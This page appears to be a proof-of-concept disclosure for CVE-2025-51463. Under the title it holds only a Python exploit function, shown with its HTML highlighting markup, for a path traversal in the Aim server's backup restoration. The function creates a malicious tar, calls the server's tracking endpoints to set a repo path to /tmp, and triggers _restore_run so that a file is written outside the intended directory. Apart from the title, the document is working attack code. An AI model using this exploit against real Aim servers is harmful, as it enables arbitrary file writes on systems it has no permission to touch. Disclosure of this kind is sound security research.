CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit</span>():
    client_id = <span class="hljs-built_in">str</span>(uuid.uuid4())
    unique_id = uuid.uuid4().<span class="hljs-built_in">hex</span>[:<span class="hljs-number">8</span>]
    target_file = <span class="hljs-string">f"/tmp/aim_vuln_proof_<span class="hljs-subst">{unique_id}</span>.txt"</span>
    
    <span class="hljs-keyword">if</span> os.path.exists(target_file):
        os.remove(target_file)
        
    content = <span class="hljs-string">f"AIM Path Traversal Vulnerability PoC\nTimestamp: <span class="hljs-subst">{time.time()}</span>\nID: <span class="hljs-subst">{unique_id}</span>\n"</span>
    
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Creating exploit for AIM server at <span class="hljs-subst">{AIM_SERVER}</span>"</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Target file: <span class="hljs-subst">{target_file}</span>"</span>)
    
    <span class="hljs-comment"># create malicious tar file</span>
    tar_path = create_malicious_tar(target_file, content)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Created malicious tar: <span class="hljs-subst">{tar_path}</span>"</span>)
    
    <span class="hljs-comment"># create repo resource</span>
    resource_url = <span class="hljs-string">f"http://<span class="hljs-subst">{AIM_SERVER}</span>/tracking/<span class="hljs-subst">{client_id}</span>/get-resource/"</span>
    response = requests.post(
        resource_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: <span class="hljs-string">"repo"</span>,
            <span class="hljs-string">"resource_type"</span>: <span class="hljs-string">"Repo"</span>,
            <span class="hljs-string">"args"</span>: encode_args({})
        }
    )
    
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[-] Failed to create Repo resource: <span class="hljs-subst">{response.text}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
        
    repo_handler = response.json()[<span class="hljs-string">"handler"</span>]
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Created Repo resource: <span class="hljs-subst">{repo_handler}</span>"</span>)
    
    <span class="hljs-comment"># set repo path to /tmp</span>
    instruction_url = <span class="hljs-string">f"http://<span class="hljs-subst">{AIM_SERVER}</span>/tracking/<span class="hljs-subst">{client_id}</span>/read-instruction/"</span>
    response = requests.post(
        instruction_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: repo_handler,
            <span class="hljs-string">"method_name"</span>: <span class="hljs-string">"path.setter"</span>,
            <span class="hljs-string">"args"</span>: encode_args([<span class="hljs-string">"/tmp"</span>])
        }
    )
    
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"[-] Failed to set repo path: <span class="hljs-subst">{response.text}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
    
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Set repo path to /tmp"</span>)
    
    <span class="hljs-comment"># create bcp directory</span>
    bcp_dir = <span class="hljs-string">"/tmp/bcp"</span>
    os.makedirs(bcp_dir, exist_ok=<span class="hljs-literal">True</span>)
    
    <span class="hljs-comment"># copy malicious tar to bcp directory</span>
    run_hash = <span class="hljs-string">f"exploit_<span class="hljs-subst">{unique_id}</span>"</span>
    bcp_tar_path = os.path.join(bcp_dir, run_hash)
    shutil.copy(tar_path, bcp_tar_path)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Copied malicious tar to <span class="hljs-subst">{bcp_tar_path}</span>"</span>)
    
    <span class="hljs-comment"># trigger vulnerability via _restore_run</span>
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Triggering vulnerability..."</span>)
    response = requests.post(
        instruction_url,
        json={
            <span class="hljs-string">"resource_handler"</span>: repo_handler,
            <span class="hljs-string">"method_name"</span>: <span class="hljs-string">"_restore_run"</span>,
            <span class="hljs-string">"args"</span>: encode_args([run_hash])
        }
    )
    
    <span class="hljs-comment"># verify exploit success</span>
    <span class="hljs-keyword">if</span> os.path.exists(target_file):
        <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(target_file, <span class="hljs-string">"r"</span>) <span class="hljs-keyword">as</span> f:
            file_content = f.read()
            
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Successfully created file: <span class="hljs-subst">{target_file}</span>"</span>)
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Content: <span class="hljs-subst">{file_content.strip()}</span>"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Exploit failed - target file not created"</span>)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
</code>